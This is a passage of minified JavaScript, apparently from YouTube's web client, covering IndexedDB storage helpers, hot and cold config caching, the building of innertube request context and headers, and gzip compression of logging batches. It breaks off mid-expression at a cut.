g.F3=function(x,T,t,u){var H,I,E,Z,e,l,m,d,M,A,R,Y;return g.G(function(b){switch(b.C){case 1:var z={mode:"readonly",c9:!1,tag:"IDB_TRANSACTION_TAG_UNKNOWN"};typeof t==="string"?z.mode=t:Object.assign(z,t);H=z;x.transactionCount++;I=H.c9?3:1;E=0;case 2:if(Z){b.lG(4);break}E++;e=Math.round((0,g.bo)());g.PX(b,5);l=x.C.transaction(T,H.mode);z=new Vb(l);z=cwX(z,u);return g.v(b,z,7);case 7:return m=b.Z,d=Math.round((0,g.bo)()),YRH(x,e,d,E,void 0,T.join(),H),b.return(m);case 5:M=g.Yq(b);A=Math.round((0,g.bo)());
R=AS(M,x.C.name,T.join(),x.C.version);if((Y=R instanceof g.lo&&!R.C)||E>=I)YRH(x,e,A,E,R,T.join(),H),Z=R;b.lG(2);break;case 4:return b.return(Promise.reject(Z))}})};
YRH=function(x,T,t,u,H,I,E){T=t-T;H?(H instanceof g.lo&&(H.type==="QUOTA_EXCEEDED"||H.type==="QUOTA_MAYBE_EXCEEDED")&&Z_("QUOTA_EXCEEDED",{dbName:eD(x.C.name),objectStoreNames:I,transactionCount:x.transactionCount,transactionMode:E.mode}),H instanceof g.lo&&H.type==="UNKNOWN_ABORT"&&(t-=x.j,t<0&&t>=2147483648&&(t=0),Z_("TRANSACTION_UNEXPECTEDLY_ABORTED",{objectStoreNames:I,transactionDuration:T,transactionCount:x.transactionCount,dbDuration:t}),x.Z=!0),UBi(x,!1,u,I,T,E.tag),q4(H)):UBi(x,!0,u,I,T,
E.tag)};
UBi=function(x,T,t,u,H,I){Z_("TRANSACTION_ENDED",{objectStoreNames:u,connectionHasUnknownAbortedTransaction:x.Z,duration:H,isSuccessful:T,tryCount:t,tag:I===void 0?"IDB_TRANSACTION_TAG_UNKNOWN":I})};
rm=function(x){this.C=x};
g.GG=function(x,T,t){x.C.createIndex(T,t,{unique:!1})};
be5=function(x,T){return g.LM(x,{query:T},function(t){return t.delete().then(function(){return g.nM(t)})}).then(function(){})};
rwV=function(x,T,t){var u=[];return g.LM(x,{query:T},function(H){if(!(t!==void 0&&u.length>=t))return u.push(H.getValue()),g.nM(H)}).then(function(){return u})};
ko5=function(x){return"getAllKeys"in IDBObjectStore.prototype?Y$(x.C.getAllKeys(void 0,void 0)):zLX(x)};
zLX=function(x){var T=[];return g.F5f(x,{query:void 0},function(t){T.push(t.cursor.primaryKey);return g.PYm(t)}).then(function(){return T})};
g.hS=function(x,T,t){return Y$(x.C.put(T,t))};
g.LM=function(x,T,t){x=x.C.openCursor(T.query,T.direction);return au(x).then(function(u){return Ux(u,t)})};
g.F5f=function(x,T,t){var u=T.query;T=T.direction;x="openKeyCursor"in IDBObjectStore.prototype?x.C.openKeyCursor(u,T):x.C.openCursor(u,T);return RL4(x).then(function(H){return Ux(H,t)})};
Vb=function(x){var T=this;this.C=x;this.j=new Map;this.Z=!1;this.done=new Promise(function(t,u){T.C.addEventListener("complete",function(){t()});
T.C.addEventListener("error",function(H){H.currentTarget===H.target&&u(T.C.error)});
T.C.addEventListener("abort",function(){var H=T.C.error;if(H)u(H);else if(!T.Z){H=g.lo;for(var I=T.C.objectStoreNames,E=[],Z=0;Z<I.length;Z++){var e=I.item(Z);if(e===null)throw Error("Invariant: item in DOMStringList is null");E.push(e)}H=new H("UNKNOWN_ABORT",{objectStoreNames:E.join(),dbName:T.C.db.name,mode:T.C.mode});u(H)}})})};
cwX=function(x,T){var t=new Promise(function(u,H){try{T(x).then(function(I){u(I)}).catch(H)}catch(I){H(I),x.abort()}});
return Promise.all([t,x.done]).then(function(u){return g.S(u).next().value})};
hLX=function(x){this.C=x};
vPJ=function(x,T,t){var u=[];return g.gm(x,{query:T},function(H){if(!(t!==void 0&&u.length>=t))return u.push(H.getValue()),g.nM(H)}).then(function(){return u})};
g.gm=function(x,T,t){x=x.C.openCursor(T.query===void 0?null:T.query,T.direction===void 0?"next":T.direction);return au(x).then(function(u){return Ux(u,t)})};
By=function(x,T){this.request=x;this.cursor=T};
au=function(x){return Y$(x).then(function(T){return T?new By(x,T):null})};
g.nM=function(x){x.cursor.continue(void 0);return au(x.request)};
VW3=function(x,T,t){return new Promise(function(u,H){function I(){M||(M=new SR4(E.result,{closed:d}));return M}
var E=T!==void 0?self.indexedDB.open(x,T):self.indexedDB.open(x);var Z=t.blocked,e=t.blocking,l=t.rpf,m=t.upgrade,d=t.closed,M;E.addEventListener("upgradeneeded",function(A){try{if(A.newVersion===null)throw Error("Invariant: newVersion on IDbVersionChangeEvent is null");if(E.transaction===null)throw Error("Invariant: transaction on IDbOpenDbRequest is null");A.dataLoss&&A.dataLoss!=="none"&&Z_("IDB_DATA_CORRUPTED",{reason:A.dataLossMessage||"unknown reason",dbName:eD(x)});var R=I(),Y=new Vb(E.transaction);
m&&m(R,function(b){return A.oldVersion<b&&A.newVersion>=b},Y);
Y.done.catch(function(b){H(b)})}catch(b){H(b)}});
E.addEventListener("success",function(){var A=E.result;e&&A.addEventListener("versionchange",function(){e(I())});
A.addEventListener("close",function(){Z_("IDB_UNEXPECTEDLY_CLOSED",{dbName:eD(x),dbVersion:A.version});l&&l()});
u(I())});
E.addEventListener("error",function(){H(E.error)});
Z&&E.addEventListener("blocked",function(){Z()})})};
Gov=function(x,T,t){t=t===void 0?{}:t;return VW3(x,T,t)};
Wy=function(x,T){T=T===void 0?{}:T;var t,u,H,I;return g.G(function(E){if(E.C==1)return g.PX(E,2),t=self.indexedDB.deleteDatabase(x),u=T,(H=u.blocked)&&t.addEventListener("blocked",function(){H()}),g.v(E,MWH(t),4);
if(E.C!=2)return g.cX(E,0);I=g.Yq(E);throw AS(I,x,"",-1);})};
D_=function(x,T){this.name=x;this.options=T;this.j=!0;this.T=this.K=0};
L53=function(x,T){return new g.lo("INCOMPATIBLE_DB_VERSION",{dbName:x.name,oldVersion:x.options.version,newVersion:T})};
g.yb=function(x,T){if(!T)throw g.Ru("openWithToken",eD(x.name));return x.open()};
nPm=function(x,T){var t;return g.G(function(u){if(u.C==1)return g.v(u,g.yb(N4,T),2);t=u.Z;return u.return(g.F3(t,["databases"],{c9:!0,mode:"readwrite"},function(H){var I=H.objectStore("databases");return I.get(x.actualName).then(function(E){if(E?x.actualName!==E.actualName||x.publicName!==E.publicName||x.userIdentifier!==E.userIdentifier:1)return g.hS(I,x).then(function(){})})}))})};
JS=function(x,T){var t;return g.G(function(u){if(u.C==1)return x?g.v(u,g.yb(N4,T),2):u.return();t=u.Z;return u.return(t.delete("databases",x))})};
aom=function(x,T){var t,u;return g.G(function(H){return H.C==1?(t=[],g.v(H,g.yb(N4,T),2)):H.C!=3?(u=H.Z,g.v(H,g.F3(u,["databases"],{c9:!0,mode:"readonly"},function(I){t.length=0;return g.LM(I.objectStore("databases"),{},function(E){x(E.getValue())&&t.push(E.getValue());return g.nM(E)})}),3)):H.return(t)})};
gP3=function(x,T){return aom(function(t){return t.publicName===x&&t.userIdentifier!==void 0},T)};
BYf=function(){var x,T,t,u;return g.G(function(H){switch(H.C){case 1:x=sx();if((T=x)==null?0:T.hasSucceededOnce)return H.return(!0);if(CM&&QX()&&!py()||g.Qb)return H.return(!1);try{if(t=self,!(t.indexedDB&&t.IDBIndex&&t.IDBKeyRange&&t.IDBObjectStore))return H.return(!1)}catch(I){return H.return(!1)}if(!("IDBTransaction"in self&&"objectStoreNames"in IDBTransaction.prototype))return H.return(!1);g.PX(H,2);u={actualName:"yt-idb-test-do-not-use",publicName:"yt-idb-test-do-not-use",userIdentifier:void 0};
return g.v(H,nPm(u,pM),4);case 4:return g.v(H,JS("yt-idb-test-do-not-use",pM),5);case 5:return H.return(!0);case 2:return g.Yq(H),H.return(!1)}})};
W5C=function(){if(Ox!==void 0)return Ox;Ex=!0;return Ox=BYf().then(function(x){Ex=!1;var T;if((T=tS())!=null&&T.C){var t;T={hasSucceededOnce:((t=sx())==null?void 0:t.hasSucceededOnce)||x};var u;(u=tS())==null||u.set("LAST_RESULT_ENTRY_KEY",T,2592E3,!0)}return x})};
fM=function(){return g.yJ("ytglobal.idbToken_")||void 0};
g.wm=function(){var x=fM();return x?Promise.resolve(x):W5C().then(function(T){(T=T?pM:void 0)&&g.DC("ytglobal.idbToken_",T);return T})};
DBf=function(x){if(!g.pS())throw x=new g.lo("AUTH_INVALID",{dbName:x}),q4(x),x;var T=g.QT();return{actualName:x+":"+T,publicName:x,userIdentifier:T}};
yw3=function(x,T,t,u){var H,I,E,Z,e,l;return g.G(function(m){switch(m.C){case 1:return I=(H=Error().stack)!=null?H:"",g.v(m,g.wm(),2);case 2:E=m.Z;if(!E)throw Z=g.Ru("openDbImpl",x,T),g.R6("ytidb_async_stack_killswitch")||(Z.stack=Z.stack+"\n"+I.substring(I.indexOf("\n")+1)),q4(Z),Z;jD(x);e=t?{actualName:x,publicName:x,userIdentifier:void 0}:DBf(x);g.PX(m,3);return g.v(m,nPm(e,E),5);case 5:return g.v(m,Gov(e.actualName,T,u),6);case 6:return m.return(m.Z);case 3:return l=g.Yq(m),g.PX(m,7),g.v(m,JS(e.actualName,
E),9);case 9:g.cX(m,8);break;case 7:g.Yq(m);case 8:throw l;}})};
NYq=function(x,T,t){t=t===void 0?{}:t;return yw3(x,T,!1,t)};
Jwf=function(x,T,t){t=t===void 0?{}:t;return yw3(x,T,!0,t)};
CYf=function(x,T){T=T===void 0?{}:T;var t,u;return g.G(function(H){if(H.C==1)return g.v(H,g.wm(),2);if(H.C!=3){t=H.Z;if(!t)return H.return();jD(x);u=DBf(x);return g.v(H,Wy(u.actualName,T),3)}return g.v(H,JS(u.actualName,t),0)})};
Qci=function(x,T,t){x=x.map(function(u){return g.G(function(H){return H.C==1?g.v(H,Wy(u.actualName,T),2):g.v(H,JS(u.actualName,t),0)})});
return Promise.all(x).then(function(){})};
p$m=function(x){var T=T===void 0?{}:T;var t,u;return g.G(function(H){if(H.C==1)return g.v(H,g.wm(),2);if(H.C!=3){t=H.Z;if(!t)return H.return();jD(x);return g.v(H,gP3(x,t),3)}u=H.Z;return g.v(H,Qci(u,T,t),0)})};
Oef=function(x,T){T=T===void 0?{}:T;var t;return g.G(function(u){if(u.C==1)return g.v(u,g.wm(),2);if(u.C!=3){t=u.Z;if(!t)return u.return();jD(x);return g.v(u,Wy(x,T),3)}return g.v(u,JS(x,t),0)})};
KM=function(x,T){D_.call(this,x,T);this.options=T;jD(x)};
fof=function(x,T){var t;return function(){t||(t=new KM(x,T));return t}};
g.X3=function(x,T){return fof(x,T)};
xe=function(x){return g.yb(w$i(),x)};
K5m=function(x,T,t,u){var H,I,E;return g.G(function(Z){switch(Z.C){case 1:return H={config:x,hashData:T,timestamp:u!==void 0?u:(0,g.bo)()},g.v(Z,xe(t),2);case 2:return I=Z.Z,g.v(Z,I.clear("hotConfigStore"),3);case 3:return g.v(Z,g.vy(I,"hotConfigStore",H),4);case 4:return E=Z.Z,Z.return(E)}})};
X$q=function(x,T,t,u,H){var I,E,Z;return g.G(function(e){switch(e.C){case 1:return I={config:x,hashData:T,configData:t,timestamp:H!==void 0?H:(0,g.bo)()},g.v(e,xe(u),2);case 2:return E=e.Z,g.v(e,E.clear("coldConfigStore"),3);case 3:return g.v(e,g.vy(E,"coldConfigStore",I),4);case 4:return Z=e.Z,e.return(Z)}})};
xxJ=function(x){var T,t;return g.G(function(u){return u.C==1?g.v(u,xe(x),2):u.C!=3?(T=u.Z,t=void 0,g.v(u,g.F3(T,["coldConfigStore"],{mode:"readwrite",c9:!0},function(H){return g.gm(H.objectStore("coldConfigStore").index("coldTimestampIndex"),{direction:"prev"},function(I){t=I.getValue()})}),3)):u.return(t)})};
TF5=function(x){var T,t;return g.G(function(u){return u.C==1?g.v(u,xe(x),2):u.C!=3?(T=u.Z,t=void 0,g.v(u,g.F3(T,["hotConfigStore"],{mode:"readwrite",c9:!0},function(H){return g.gm(H.objectStore("hotConfigStore").index("hotTimestampIndex"),{direction:"prev"},function(I){t=I.getValue()})}),3)):u.return(t)})};
oTJ=function(){return g.G(function(x){return g.v(x,p$m("ytGcfConfig"),0)})};
TS=function(){g.W.call(this);this.Z=[];this.C=[];var x=g.yJ("yt.gcf.config.hotUpdateCallbacks");x?(this.Z=[].concat(g.U(x)),this.C=x):(this.C=[],g.DC("yt.gcf.config.hotUpdateCallbacks",this.C))};
He=function(){var x=this;this.T=!1;this.j=this.K=0;this.D=new TS;this.yF={x_U:function(){x.T=!0},
zjZ:function(){return x.C},
U4G:function(T){os(x,T)},
LA:function(T){x.LA(T)},
oqZ:function(T){tc(x,T)},
OM:function(){return x.coldHashData},
rF:function(){return x.hotHashData},
fSZ:function(){return x.Z},
ISc:function(){return s5()},
DYy:function(){return ue()},
QCj:function(){return g.yJ("yt.gcf.config.coldHashData")},
TtQ:function(){return g.yJ("yt.gcf.config.hotHashData")},
qsY:function(){tJ3(x)},
C6Y:function(){x.LA(void 0);$e(x);delete He.instance},
ulU:function(T){x.j=T},
H$W:function(){return x.j}}};
si5=function(){if(!He.instance){var x=new He;He.instance=x}return He.instance};
HrJ=function(x){var T;g.G(function(t){if(t.C==1)return g.R6("start_client_gcf")||g.R6("delete_gcf_config_db")?g.R6("start_client_gcf")?g.v(t,g.wm(),3):t.lG(2):t.return();t.C!=2&&((T=t.Z)&&g.pS()&&!g.R6("delete_gcf_config_db")?(x.T=!0,tJ3(x)):(uEH(x),$xD(x)));return g.R6("delete_gcf_config_db")?g.v(t,oTJ(),0):t.lG(0)})};
ie=function(){var x;return(x=ue())!=null?x:g.pr("RAW_HOT_CONFIG_GROUP")};
irm=function(x){var T,t,u,H,I,E;return g.G(function(Z){switch(Z.C){case 1:if(x.Z)return Z.return(ue());if(!x.T)return T=g.Ru("getHotConfig IDB not initialized"),XE(T),Z.return(Promise.reject(T));t=fM();u=g.pr("TIME_CREATED_MS");if(!t){H=g.Ru("getHotConfig token error");XE(H);Z.lG(2);break}return g.v(Z,TF5(t),3);case 3:if((I=Z.Z)&&I.timestamp>u)return os(x,I.config),x.LA(I.hashData),Z.return(ue());case 2:$xD(x);if(!(t&&x.Z&&x.hotHashData)){Z.lG(4);break}return g.v(Z,K5m(x.Z,x.hotHashData,t,u),4);case 4:return x.Z?
Z.return(ue()):(E=new g.CS("Config not available in ytConfig"),XE(E),Z.return(Promise.reject(E)))}})};
ETJ=function(x){var T,t,u,H,I,E;return g.G(function(Z){switch(Z.C){case 1:if(x.C)return Z.return(s5());if(!x.T)return T=g.Ru("getColdConfig IDB not initialized"),XE(T),Z.return(Promise.reject(T));t=fM();u=g.pr("TIME_CREATED_MS");if(!t){H=g.Ru("getColdConfig");XE(H);Z.lG(2);break}return g.v(Z,xxJ(t),3);case 3:if((I=Z.Z)&&I.timestamp>u)return tc(x,I.config),IQC(x,I.configData),$e(x,I.hashData),Z.return(s5());case 2:uEH(x);if(!(t&&x.C&&x.coldHashData&&x.configData)){Z.lG(4);break}return g.v(Z,X$q(x.C,
x.coldHashData,x.configData,t,u),4);case 4:return x.C?Z.return(s5()):(E=new g.CS("Config not available in ytConfig"),XE(E),Z.return(Promise.reject(E)))}})};
tJ3=function(x){if(!x.Z||!x.C){if(!fM()){var T=g.Ru("scheduleGetConfigs");XE(T)}x.K||(x.K=g.Du.v_(function(){return g.G(function(t){switch(t.C){case 1:return g.PX(t,2),g.v(t,irm(x),4);case 4:g.cX(t,3);break;case 2:g.Yq(t);case 3:return g.PX(t,5),g.v(t,ETJ(x),7);case 7:g.cX(t,6);break;case 5:g.Yq(t);case 6:x.K&&(x.K=0),g.RV(t)}})},100))}};
qi3=function(x,T,t){var u,H,I;return g.G(function(E){switch(E.C){case 1:if(!g.R6("start_client_gcf")){E.lG(0);break}t&&os(x,t);x.LA(T);u=fM();if(!u){E.lG(3);break}if(t){E.lG(4);break}return g.v(E,TF5(u),5);case 5:H=E.Z,t=(I=H)==null?void 0:I.config;case 4:return g.v(E,K5m(t,T,u),3);case 3:if(t)for(var Z=t,e=g.S(x.D.C),l=e.next();!l.done;l=e.next())l=l.value,l(Z);g.RV(E)}})};
Zr3=function(x,T,t){var u,H,I,E;return g.G(function(Z){if(Z.C==1){if(!g.R6("start_client_gcf"))return Z.lG(0);$e(x,T);return(u=fM())?t?Z.lG(4):g.v(Z,xxJ(u),5):Z.lG(0)}Z.C!=4&&(H=Z.Z,t=(I=H)==null?void 0:I.config);if(!t)return Z.lG(0);E=t.configData;return g.v(Z,X$q(t,T,E,u),0)})};
jim=function(){var x=si5(),T=(0,g.bo)()-x.j;if(!(x.j!==0&&T<g.Pi("send_config_hash_timer"))){T=g.yJ("yt.gcf.config.coldConfigData");var t=g.yJ("yt.gcf.config.hotHashData"),u=g.yJ("yt.gcf.config.coldHashData");T&&t&&u&&(x.j=(0,g.bo)());return{coldConfigData:T,hotHashData:t,coldHashData:u}}};
uEH=function(x){tc(x,g.pr("RAW_COLD_CONFIG_GROUP"));$e(x,g.pr("SERIALIZED_COLD_HASH_DATA"));var T;IQC(x,(T=x.C)==null?void 0:T.configData)};
$xD=function(x){os(x,g.pr("RAW_HOT_CONFIG_GROUP"));x.LA(g.pr("SERIALIZED_HOT_HASH_DATA"))};
os=function(x,T){x.Z=T;g.DC("yt.gcf.config.hotConfigGroup",x.Z||null)};
tc=function(x,T){x.C=T;g.DC("yt.gcf.config.coldConfigGroup",x.C||null)};
$e=function(x,T){x.coldHashData=T;g.DC("yt.gcf.config.coldHashData",x.coldHashData||null)};
IQC=function(x,T){x.configData=T;g.DC("yt.gcf.config.coldConfigData",x.configData||null)};
ue=function(){return g.yJ("yt.gcf.config.hotConfigGroup")};
s5=function(){return g.yJ("yt.gcf.config.coldConfigGroup")};
enf=function(){return"INNERTUBE_API_KEY"in Cr&&"INNERTUBE_API_VERSION"in Cr};
g.Is=function(){return{innertubeApiKey:g.pr("INNERTUBE_API_KEY"),innertubeApiVersion:g.pr("INNERTUBE_API_VERSION"),wQ:g.pr("INNERTUBE_CONTEXT_CLIENT_CONFIG_INFO"),E1:g.pr("INNERTUBE_CONTEXT_CLIENT_NAME","WEB"),JS:g.pr("INNERTUBE_CONTEXT_CLIENT_NAME",1),innertubeContextClientVersion:g.pr("INNERTUBE_CONTEXT_CLIENT_VERSION"),ZL:g.pr("INNERTUBE_CONTEXT_HL"),kN:g.pr("INNERTUBE_CONTEXT_GL"),tS:g.pr("INNERTUBE_HOST_OVERRIDE")||"",mq:!!g.pr("INNERTUBE_USE_THIRD_PARTY_AUTH",!1),qmU:!!g.pr("INNERTUBE_OMIT_API_KEY_WHEN_AUTH_HEADER_IS_PRESENT",
!1),appInstallData:g.pr("SERIALIZED_CLIENT_CONFIG_DATA")}};
g.E5=function(x){var T={client:{hl:x.ZL,gl:x.kN,clientName:x.E1,clientVersion:x.innertubeContextClientVersion,configInfo:x.wQ}};navigator.userAgent&&(T.client.userAgent=String(navigator.userAgent));var t=g.BX.devicePixelRatio;t&&t!=1&&(T.client.screenDensityFloat=String(t));t=SF();t!==""&&(T.client.experimentsToken=t);t=ci();t.length>0&&(T.request={internalExperimentFlags:t});lQD(x,void 0,T);mxJ(void 0,T);dxf(void 0,T);MJf(x,void 0,T);ATX(void 0,T);g.R6("start_client_gcf")&&Rnf(void 0,T);g.pr("DELEGATED_SESSION_ID")&&
!g.R6("pageid_as_header_web")&&(T.user={onBehalfOfUser:g.pr("DELEGATED_SESSION_ID")});!g.R6("fill_delegate_context_in_gel_killswitch")&&(x=g.pr("INNERTUBE_CONTEXT_SERIALIZED_DELEGATION_CONTEXT"))&&(T.user=Object.assign({},T.user,{serializedDelegationContext:x}));x=g.pr("INNERTUBE_CONTEXT");var u;if(g.R6("enable_persistent_device_token")&&(x==null?0:(u=x.client)==null?0:u.rolloutToken)){var H;T.client.rolloutToken=x==null?void 0:(H=x.client)==null?void 0:H.rolloutToken}u=Object;H=u.assign;x=T.client;
t={};for(var I=g.S(Object.entries(o6(g.pr("DEVICE","")))),E=I.next();!E.done;E=I.next()){var Z=g.S(E.value);E=Z.next().value;Z=Z.next().value;E==="cbrand"?t.deviceMake=Z:E==="cmodel"?t.deviceModel=Z:E==="cbr"?t.browserName=Z:E==="cbrver"?t.browserVersion=Z:E==="cos"?t.osName=Z:E==="cosver"?t.osVersion=Z:E==="cplatform"&&(t.platform=Z)}T.client=H.call(u,x,t);return T};
lQD=function(x,T,t){x=x.E1;if(x==="WEB"||x==="MWEB"||x===1||x===2)if(T){t=HP(T,z3,96)||new z3;var u=nS();u=Object.keys(PAv).indexOf(u);u=u===-1?null:u;u!==null&&AZ(t,3,u);iX(T,z3,96,t)}else t&&(t.client.mainAppWebInfo=(u=t.client.mainAppWebInfo)!=null?u:{},t.client.mainAppWebInfo.webDisplayMode=nS())};
mxJ=function(x,T){var t=g.yJ("yt.embedded_player.embed_url");t&&(x?(T=HP(x,V0,7)||new V0,d9(T,4,t),iX(x,V0,7,T)):T&&(T.thirdParty={embedUrl:t}))};
dxf=function(x,T){var t;if(g.R6("web_log_memory_total_kbytes")&&((t=g.BX.navigator)==null?0:t.deviceMemory)){var u;t=(u=g.BX.navigator)==null?void 0:u.deviceMemory;x?WB(x,95,PB(t*1E6)):T&&(T.client.memoryTotalKbytes=""+t*1E6)}};
MJf=function(x,T,t){if(x.appInstallData)if(T){var u;t=(u=HP(T,rF,62))!=null?u:new rF;d9(t,6,x.appInstallData);iX(T,rF,62,t)}else t&&(t.client.configInfo=t.client.configInfo||{},t.client.configInfo.appInstallData=x.appInstallData)};
ATX=function(x,T){var t=scJ();t&&(x?AZ(x,61,SiD[t]):T&&(T.client.connectionType=t));g.R6("web_log_effective_connection_type")&&(t=$Bf())&&(x?AZ(x,94,cTq[t]):T&&(T.client.effectiveConnectionType=t))};
YiJ=function(x,T,t){t=t===void 0?{}:t;var u={};g.pr("EOM_VISITOR_DATA")?u={"X-Goog-EOM-Visitor-Id":g.pr("EOM_VISITOR_DATA")}:u={"X-Goog-Visitor-Id":t.visitorData||g.pr("VISITOR_DATA","")};if(T&&T.includes("www.youtube-nocookie.com"))return u;T=t.Eg||g.pr("AUTHORIZATION");T||(x?T="Bearer "+g.yJ("gapi.auth.getToken")().access_token:(x=Kfv().Fx(qR),g.R6("pageid_as_header_web")||delete x["X-Goog-PageId"],u=Object.assign({},u,x)));T&&(u.Authorization=T);return u};
Rnf=function(x,T){var t=jim();if(t){var u=t.coldConfigData,H=t.coldHashData;t=t.hotHashData;if(x){var I;T=(I=HP(x,rF,62))!=null?I:new rF;u=d9(T,1,u);d9(u,3,H).LA(t);iX(x,rF,62,T)}else T&&(T.client.configInfo=T.client.configInfo||{},u&&(T.client.configInfo.coldConfigData=u),H&&(T.client.configInfo.coldHashData=H),t&&(T.client.configInfo.hotHashData=t))}};
Zc=function(x,T){this.version=x;this.args=T};
jr=function(x,T){this.topic=x;this.C=T};
le=function(x,T){var t=er();t&&t.publish.call(t,x.toString(),x,T)};
rTJ=function(x){var T=UxJ,t=er();if(!t)return 0;var u=t.subscribe(T.toString(),function(H,I){var E=g.yJ("ytPubsub2Pubsub2SkipSubKey");E&&E==u||(E=function(){if(mM[u])try{if(I&&T instanceof jr&&T!=H)try{var Z=T.C,e=I;if(!e.args||!e.version)throw Error("yt.pubsub2.Data.deserialize(): serializedData is incomplete.");try{if(!Z.qv){var l=new Z;Z.qv=l.version}var m=Z.qv}catch(d){}if(!m||e.version!=m)throw Error("yt.pubsub2.Data.deserialize(): serializedData version is incompatible.");try{I=Reflect.construct(Z,
g.o2(e.args))}catch(d){throw d.message="yt.pubsub2.Data.deserialize(): "+d.message,d;}}catch(d){throw d.message="yt.pubsub2.pubsub2 cross-binary conversion error for "+T.toString()+": "+d.message,d;}x.call(window,I)}catch(d){g.wF(d)}},brv[T.toString()]?g.x$()?g.Du.v_(E):g.lP(E,0):E())});
mM[u]=!0;d$[T.toString()]||(d$[T.toString()]=[]);d$[T.toString()].push(u);return u};
F4i=function(){var x=zn4,T=rTJ(function(t){x.apply(void 0,arguments);k35(T)});
return T};
k35=function(x){var T=er();T&&(typeof x==="number"&&(x=[x]),g.lg(x,function(t){T.unsubscribeByKey(t);delete mM[t]}))};
er=function(){return g.yJ("ytPubsub2Pubsub2Instance")};
ce=function(x,T,t){t=t===void 0?{sampleRate:.1}:t;Math.random()<Math.min(.02,t.sampleRate/100)&&le("meta_logging_csi_event",{timerName:x,B99:T})};
hnm=function(){Ye||(Ye=SJ(g.pr("WORKER_SERIALIZATION_URL")));return Ye||void 0};
be=function(){var x=hnm();U5||x===void 0||(U5=new Worker(bW(x),void 0));return U5};
vTX=function(){return typeof Worker==="function"&&hnm()?!0:!1};
G3V=function(){if(vTX()&&!r$){var x=function(t){t=t.data;if(t.op==="gzippedGelBatch"){var u=zS.get(t.key);u&&(VJf(t.gzippedBatch,u.latencyPayload,u.url,u.options,u.sendFn),zS.delete(t.key))}},T=be();
T&&(T.addEventListener("message",x),T.onerror=function(){zS.clear()},r$=!0)}};
hc=function(x,T,t,u,H){H=H===void 0?!1:H;var I={startTime:(0,g.bo)(),ticks:{},infos:{}};if(ke)try{var E=L4X(T);if(E!=null&&(E>nTH||E<aQ3))u(x,t);else{if(g.R6("gzip_gel_with_worker")&&(g.R6("initial_gzip_use_main_thread")&&!gTV||!g.R6("initial_gzip_use_main_thread"))){r$||G3V();var Z=be();if(Z&&!H){zS.set(Fw,{latencyPayload:I,url:x,options:t,sendFn:u});Z.postMessage({op:"gelBatchToGzip",serializedBatch:T,key:Fw});Fw++;return}}var e=Uz3(BF4(T));VJf(e,I,x,t,u)}}catch(l){XE(l),u(x,t)}else u(x,t)};
VJf=function(x,T,t,u,H){gTV=!1;var I=(0,g.bo)();T.ticks.gelc=I;ve++;g.R6("disable_compression_due_to_performance_degredation")&&I-T.startTime>=W4m&&(Vq++,g.R6("abandon_compression_after_N_slow_zips")?ve===g.Pi("compression_disable_point")&&Vq>Dx3&&(ke=!1):ke=!1);yTq(T);u.headers||(u.headers={});u.headers["Content-Encoding"]="gzip";u.postBody=x;u.postParams=void 0;H(t,u)};
NFm=function(x){var T=T===void 0?!1:T;var t=t===void 0?!1:t;var u=(0,g.bo)(),H={startTime:u,ticks:{},infos:{}},I=T?g.yJ("yt.logging.gzipForFetch",!1):!0;if(ke&&I){if(!x.body)return x;try{var E=t?x.body:typeof x.body==="string"?x.body:JSON.stringify(x.body);I=E;if(!t&&typeof E==="string"){var Z=L4X(E);if(Z!=null&&(Z>nTH||Z<aQ3))return x;t=T?{level:1}:void 0;I=Uz3(BF4(E),t);var e=(0,g.bo)();H.ticks.gelc=e;if(T){ve++;if((g.R6("disable_compression_due_to_performance_degredation")||g.R6("disable_compression_due_to_performance_degradation_lr"))&&
e-u>=W4m)if(Vq++,g.R6("abandon_compression_after_N_slow_zips")||g.R6("abandon_compression_after_N_slow_zips_lr")){T=Vq/ve;var l=Dx3/g.Pi("compression_disable_point");ve>0&&ve%g.Pi("compression_disable_point")===0&&T>=l&&(ke=!1)}else ke=!1;yTq(H)}}x.headers=Object.assign({},{"Content-Encoding":"gzip"},x.headers||{});x.body=I;return x}catch(m){return XE(m),x}}else return x};
L4X=function(x){try{return(new Blob(x.split(""))).size}catch(T){return XE(T),null}};
yTq=function(x){g.R6("gel_compression_csi_killswitch")||!g.R6("log_gel_compression_latency")&&!g.R6("log_gel_compression_latency_lr")||ce("gel_compression",x,{sampleRate:.1})};
Lf=function(x){var T=this;this.Ec=this.C=!1;this.potentialEsfErrorCounter=this.Z=0;this.handleError=function(){};
this.wK=function(){};
this.now=Date.now;this.jN=!1;this.yF={L$c:function(m){T.WS=m},
F$G:function(){T.Xf()},
Bz:function(){T.Fg()},
H5:function(m){return g.G(function(d){return g.v(d,T.H5(m),0)})},
Cs:function(m,d){return T.Cs(m,d)},
jO:function(){T.jO()}};
var t;this.VC=(t=x.VC)!=null?t:100;var u;this.WK=(u=x.WK)!=null?u:1;var H;this.Ag=(H=x.Ag)!=null?H:2592E6;var I;this.RD=(I=x.RD)!=null?I:12E4;var E;this.aD=(E=x.aD)!=null?E:5E3;var Z;this.WS=(Z=x.WS)!=null?Z:void 0;this.B3=!!x.B3;var e;this.P3=(e=x.P3)!=null?e:.1;var l;this.FS=(l=x.FS)!=null?l:10;x.handleError&&(this.handleError=x.handleError);x.wK&&(this.wK=x.wK);x.jN&&(this.jN=x.jN);x.Ec&&(this.Ec=x.Ec);this.aU=x.aU;this.Lt=x.Lt;this.aT=x.aT;this.rd=x.rd;this.sendFn=x.sendFn;this.zJ=x.zJ;this.zB=
x.zB;GS(this)&&(!this.aU||this.aU("networkless_logging"))&&JT3(this)};
JT3=function(x){GS(x)&&!x.jN&&(x.C=!0,x.B3&&Math.random()<=x.P3&&x.aT.Gr(x.WS),x.jO(),x.rd.TV()&&x.Xf(),x.rd.listen(x.zJ,x.Xf.bind(x)),x.rd.listen(x.zB,x.Fg.bind(x)))};
p93=function(x,T){if(!GS(x))throw Error("IndexedDB is not supported: updateRequestHandlers");var t=T.options.onError?T.options.onError:function(){};
T.options.onError=function(H,I){var E,Z,e,l;return g.G(function(m){switch(m.C){case 1:E=CAi(I);(Z=Qiq(I))&&x.aU&&x.aU("web_enable_error_204")&&x.handleError(Error("Request failed due to compression"),T.url,I);if(!(x.aU&&x.aU("nwl_consider_error_code")&&E||x.aU&&!x.aU("nwl_consider_error_code")&&x.potentialEsfErrorCounter<=x.FS)){m.lG(2);break}if(!x.rd.uZ){m.lG(3);break}return g.v(m,x.rd.uZ(),3);case 3:if(x.rd.TV()){m.lG(2);break}t(H,I);if(!x.aU||!x.aU("nwl_consider_error_code")||((e=T)==null?void 0:
